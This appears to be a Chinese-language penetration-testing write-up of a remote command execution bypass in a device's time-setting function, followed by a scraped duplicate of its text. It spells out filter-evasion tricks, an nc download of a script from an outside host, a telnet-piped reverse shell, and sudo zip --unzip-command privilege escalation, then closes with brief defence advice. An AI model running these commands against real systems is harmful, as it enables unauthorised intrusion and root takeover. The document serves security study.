【Web实战】一次有趣的RCEbypass
字数 942 2025-08-10 08:28:45

RCE Bypass 技术分析与实战教学文档

漏洞背景分析

该漏洞存在于一个时间设置功能中,通过POST请求的time参数实现远程命令执行(RCE)。系统对输入进行了部分过滤,但存在绕过可能性。

漏洞代码分析

  1. 输入处理流程:

    • 接收POST的time参数
    • T替换为空格
    • /替换为-
    • 将处理后的参数传递给SystemSetting_setLocalTime函数
  2. 关键函数SystemSetting_setLocalTime

    • 参数拼接到$cmd_date_set变量中
    • 过滤掉|字符
    • 最终通过exec执行命令
  3. 过滤规则:

    • 禁止的字符:/|\
    • 可用替代:反引号(`)可用于命令拼接

限制条件

  1. 无回显的RCE
  2. 关键字符被过滤
  3. 无法直接使用HTTP协议下载文件
  4. 无权限直接写入文件

绕过技术方案

方案一:字符替换与路径遍历

  1. 使用$IFS替代空格

  2. 通过cd ..实现路径遍历:

    cd ..; cd ..; cd ..; cd ..; cd tmp
    
  3. 使用nc下载远程文件:

    nc x.x.x.x 81 > 1.sh
    

方案二:文件上传与执行

  1. 发现存在文件上传点,路径为/svr/www

  2. 上传限制:

    • 仅检查是否为zip格式
    • 不限制文件后缀名
  3. 上传恶意zip文件并执行:

    sudo /usr/bin/zip 1aca.zip /etc/syslog.conf -T --unzip-command="sh -c 'id > /tmp/test.txt'"
    

方案三:提权利用

  1. 发现/etc/sudoers配置允许nobody用户无需密码使用sudo
  2. 利用/usr/bin/zip--unzip-command参数执行命令:
    sudo /usr/bin/zip 1aca.zip /etc/passwd -T --unzip-command="sh -c /bin/sh"
    

完整攻击步骤

方法一:通过nc实现文件传输

  1. 服务端准备:

    sudo nc -lvvnp 85
    
  2. 准备反弹shell命令:

    telnet x.x.x.x 82 | /bin/sh | telnet x.x.x.x 83
    
  3. 被控端下载脚本:

    time= curl x.x.x.x -d "c=$(cd ..; cd ..; cd ..; cd ..; cd tmp; nc x.x.x.x 85 > 1.sh)"
    
  4. 执行下载的脚本:

    time= cd ..; cd ..; cd ..; cd ..; cd tmp;sh 1.sh
    
  5. 服务端监听82和83端口获取shell

方法二:通过文件上传实现

  1. 上传恶意zip文件
  2. 利用RCE执行上传的文件
  3. 通过路径遍历访问上传的文件

防御建议

  1. 严格过滤所有用户输入
  2. 禁用危险函数如exec
  3. 限制sudo权限
  4. 对上传文件进行严格检查
  5. 使用最小权限原则运行服务
  6. 禁用不必要的系统命令和工具

总结

该案例展示了如何通过多种技术组合绕过RCE限制,包括:

  • 路径遍历绕过目录限制
  • 替代字符绕过过滤
  • 利用系统工具特性实现提权
  • 文件上传与RCE结合利用

攻击者通过创造性思维和系统知识,成功绕过多重限制实现了完整的攻击链。防御方应从输入验证、权限控制和功能设计等多方面加强防护。

RCE Bypass 技术分析与实战教学文档 漏洞背景分析 该漏洞存在于一个时间设置功能中,通过POST请求的 time 参数实现远程命令执行(RCE)。系统对输入进行了部分过滤,但存在绕过可能性。 漏洞代码分析 输入处理流程: 接收POST的 time 参数 将 T 替换为空格 将 / 替换为 - 将处理后的参数传递给 SystemSetting_setLocalTime 函数 关键函数 SystemSetting_setLocalTime : 参数拼接到 $cmd_date_set 变量中 过滤掉 | 字符 最终通过 exec 执行命令 过滤规则: 禁止的字符: / 、 | 、 \ 可用替代:反引号( ` )可用于命令拼接 限制条件 无回显的RCE 关键字符被过滤 无法直接使用HTTP协议下载文件 无权限直接写入文件 绕过技术方案 方案一:字符替换与路径遍历 使用 $IFS 替代空格 通过 cd .. 实现路径遍历: 使用nc下载远程文件: 方案二:文件上传与执行 发现存在文件上传点,路径为 /svr/www 上传限制: 仅检查是否为zip格式 不限制文件后缀名 上传恶意zip文件并执行: 方案三:提权利用 发现 /etc/sudoers 配置允许nobody用户无需密码使用sudo 利用 /usr/bin/zip 的 --unzip-command 参数执行命令: 完整攻击步骤 方法一:通过nc实现文件传输 服务端准备: 准备反弹shell命令: 被控端下载脚本: 执行下载的脚本: 服务端监听82和83端口获取shell 方法二:通过文件上传实现 上传恶意zip文件 利用RCE执行上传的文件 通过路径遍历访问上传的文件 防御建议 严格过滤所有用户输入 禁用危险函数如 exec 限制sudo权限 对上传文件进行严格检查 使用最小权限原则运行服务 禁用不必要的系统命令和工具 总结 该案例展示了如何通过多种技术组合绕过RCE限制,包括: 路径遍历绕过目录限制 替代字符绕过过滤 利用系统工具特性实现提权 文件上传与RCE结合利用 攻击者通过创造性思维和系统知识,成功绕过多重限制实现了完整的攻击链。防御方应从输入验证、权限控制和功能设计等多方面加强防护。